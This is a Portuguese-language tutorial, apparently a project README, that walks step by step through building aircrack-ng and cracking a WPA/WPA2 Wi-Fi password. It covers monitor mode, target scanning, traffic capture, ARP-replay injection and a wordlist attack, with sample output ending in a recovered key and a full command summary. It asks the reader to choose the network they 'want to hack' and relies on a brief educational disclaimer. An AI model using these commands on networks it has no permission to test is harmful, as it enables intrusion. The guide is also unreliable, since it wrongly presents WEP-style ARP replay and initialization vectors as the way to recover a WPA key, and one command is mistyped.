Aircrack-ng é basicamente um conjunto de software de rede criado para atingir os seguintes objetivos:
Observe que o presente tutorial não é um guia completo, mas sim desenvolver algumas habilidades básicas para testar a segurança da sua própria rede e se familiarizar com os conceitos.
O ataque descrito abaixo é baseado em uma técnica passiva (ataque de repetição de solicitação ARP) e se concentra em distribuições baseadas em Debian, assumindo que você tenha uma placa wireless funcionando com drivers já corrigidos para injeção.
Aircrack-ng pode ser instalado em um sistema operacional baseado em Debian compilando o código fonte (para mais detalhes você pode visitar o site oficial).
Abaixo você pode encontrar instruções para instalar os requisitos básicos para construir o aircrack-ng para sistemas operacionais baseados em Debian.
$ sudo apt install build-essential autoconf automake libtool pkg-config libnl-3-dev libnl-genl-3-dev libssl-dev ethtool shtool rfkill zlib1g-dev libpcap-dev libsqlite3-dev libpcre3-dev libhwloc-dev libcmocka-dev hostapd wpasupplicant tcpdump screen iw usbutils
Obtenha a cópia mais recente do aircrack-ng:
$ git clone https://github.com/aircrack-ng/aircrack-ng
$ cd aircrack-ng
Para construir o aircrack-ng, o sistema de construção Autotools é usado. Primeiro, ./configure
o projeto para construção com as opções apropriadas:
$ autoreconf -i
$ ./configure --with-experimental
Em seguida, compile o projeto com o comando make
e use o destino "installing" dos destinos adicionais listados abaixo para concluir a instalação.
make check
make integration
make install
make uninstall
O objetivo desta etapa garante que sua placa suporte a injeção com êxito. Supondo que o nome da sua interface seja “wlan0” (você pode recuperá-lo digitando iwconfig
no terminal), digite o seguinte comando:
# aireplay-ng --test wlan0
O sistema responde:
18:10:59 wlan0 channel: 10
18:10:59 Trying broadcast probe requests...
18:10:59 Injection is working!
18:11:00 Found 1 AP
...
Isso confirma que seu cartão pode injetar pacotes.
A primeira coisa a fazer é procurar um alvo potencial colocando sua placa wireless no modo monitor usando airmon-ng
. No entanto, é altamente recomendável kill
todos os processos interferentes antes de usar o conjunto aircrack-ng.
# airmon-ng check kill
Killing these processes:
PID Name
870 dhclient
1115 wpa_supplicant
Depois é possível habilitar o modo monitor utilizado para criar outra interface (mon0):
# airmon-ng start wlan0
PHY Interface Driver Chipset
phy0 wlan0 ath9k Qualcomm Atheros AR9485
(monitor mode enabled for [phy0]wlan0 on [phy0]mon0)
Você notará que “wlan0” foi colocado com sucesso no modo monitor. Então, inicie airodump-ng
para procurar redes:
# airodump-ng mon0
Localize a rede sem fio que você deseja hackear e anote seu BSSID e canal na seguinte saída:
CH 10 ][ Elapsed: 36 s][2019-05-15 18:15
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
08:00:BF:E6:31:2E -21 100 5240 178307 338 10 54 WPA CCMP PSK infosec_router
...
Observe que a parte superior da saída lista informações sobre os APs ao alcance e a parte inferior lista os clientes conectados aos APs correspondentes.
Abra outra sessão de console para capturar os vetores iniciais gerados pelo destino e salvar o resultado em um arquivo:
# airodump-ng -c 10 --bssid 08:00:BF:E6:31:2E -w output-file mon0
onde -c 10
é o canal para a rede sem fio, --bssid 08:00:BF:E6:31:2E
é o endereço MAC do AP, -w output-file
define os arquivos de saída que conterão os vetores de inicialização, e mon0
é o nome da interface.
O sistema responde:
CH 10 ][ Elapsed: 12 s][2019-05-15 18:16
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
08:00:BF:E6:31:2E -21 100 5240 178307 338 10 54 WPA CCMP PSK infosec_router
BSSID STATION PWR Lost Packets Probes
08:00:BF:E6:31:2E 00:0F:35:51:AC:22 -21 0 183782
Após a execução do comando vários arquivos serão gerados.
O clássico ataque de repetição de solicitação ARP é a maneira mais eficaz de gerar novos vetores de inicialização e funciona de maneira muito confiável. O objetivo desta etapa é iniciar aireplay-ng
em um modo que escuta solicitações ARP e depois as reinjeta de volta ao ponto de acesso. Mantenha seu airodump-ng
e aireplay-ng
em execução, abra outro terminal e execute o ataque de repetição de solicitação ARP:
# aireplay-ng --arpreplay -b 08:00:BF:E6:31:2E -h 00:0F:35:51:AC:22 mon0
Saving ARP requests in replay_arp-0321-191525.cap
You should also start airodump-ng to capture replies.
Read 618643 packets (got 304896 ARP requests), sent 194947 packets...
Você pode verificar se os pacotes foram injetados olhando a tela airodump-ng
.
Neste ponto, você poderá obter a chave WPA dos vetores de inicialização coletados nas etapas anteriores. Para realizar este ataque você precisa de uma lista de palavras e se a senha da rede não estiver no arquivo de palavras você não irá quebrar a senha. Observe que a maioria dos roteadores WPA/WPA2 vem com senhas aleatórias fortes de 12 caracteres que muitos usuários (com razão) deixam inalteradas. Se você estiver tentando quebrar uma dessas senhas, recomendo usar as listas de senhas de comprimento WPA.
Abra outra sessão de console e digite:
# aircrack-ng -a2 -b 08:00:BF:E6:31:2E -w wordlist.txt output * .cap
onde -a2
especifica o modo de ataque para WPA/WPA2-PSK, -w wordlist.txt
refere-se à sua própria lista de palavras do dicionário e output*.cap
seleciona todos os arquivos de saída com extensão .cap
.
Este é o resultado de um ataque bem-sucedido:
Aircrack-ng 1.5.2
[00:00:00] 192/1229 keys tested (520.04 k/s)
Time left: 0 seconds 15.62%
KEY FOUND! [ notsecure ]
Master Key : 42 28 5E 5A 73 33 90 E9 34 CC A6 C3 B1 CE 97 CA
06 10 96 05 CC 13 FC 53 B0 61 5C 19 45 9A CE 63
Transient Key : 86 D0 43 C9 AA 47 F8 03 2F 71 3F 53 D6 65 F3 F3
86 36 52 0F 48 1E 57 4A 10 F8 B6 A0 78 30 22 1E
4E 77 F0 5E 1F FC 73 69 CA 35 5B 54 4D B0 EC 1A
90 FE D0 B9 33 06 60 F9 33 4B CF 30 B4 A8 AE 3A
EAPOL HMAC : 8E 52 1B 51 E8 F2 7E ED 95 F4 CF D2 C6 D0 F0 68
Abaixo você encontra a lista de todos os comandos necessários para quebrar uma rede WPA/WPA2.
# kill all interfering processes prior to using the aircrack-ng
airmon-ng check kill
# put your network device into monitor mode
airmon-ng start wlan0
# listen for all nearby beacon frames to get target BSSID and channel
airodump-ng mon0
# start listening for the handshake on a new console session
airodump-ng -c 10 --bssid 08:00:BF:E6:31:2E -w output-file mon0
# start the ARP request replay attack
aireplay-ng --arpreplay -b 08:00:BF:E6:31:2E -h 00:0F:35:51:AC:22 mon0
# run aircrack-ng to obtain the WPA key
aircrack-ng -a2 -b 08:00:BF:E6:31:2E -w wordlist.txt output*.cap
Este projeto está licenciado sob a licença MIT - consulte o arquivo LICENSE para obter detalhes.
Este tutorial foi feito apenas para fins educacionais, não promovo práticas maliciosas e não serei responsável por quaisquer atividades ilegais.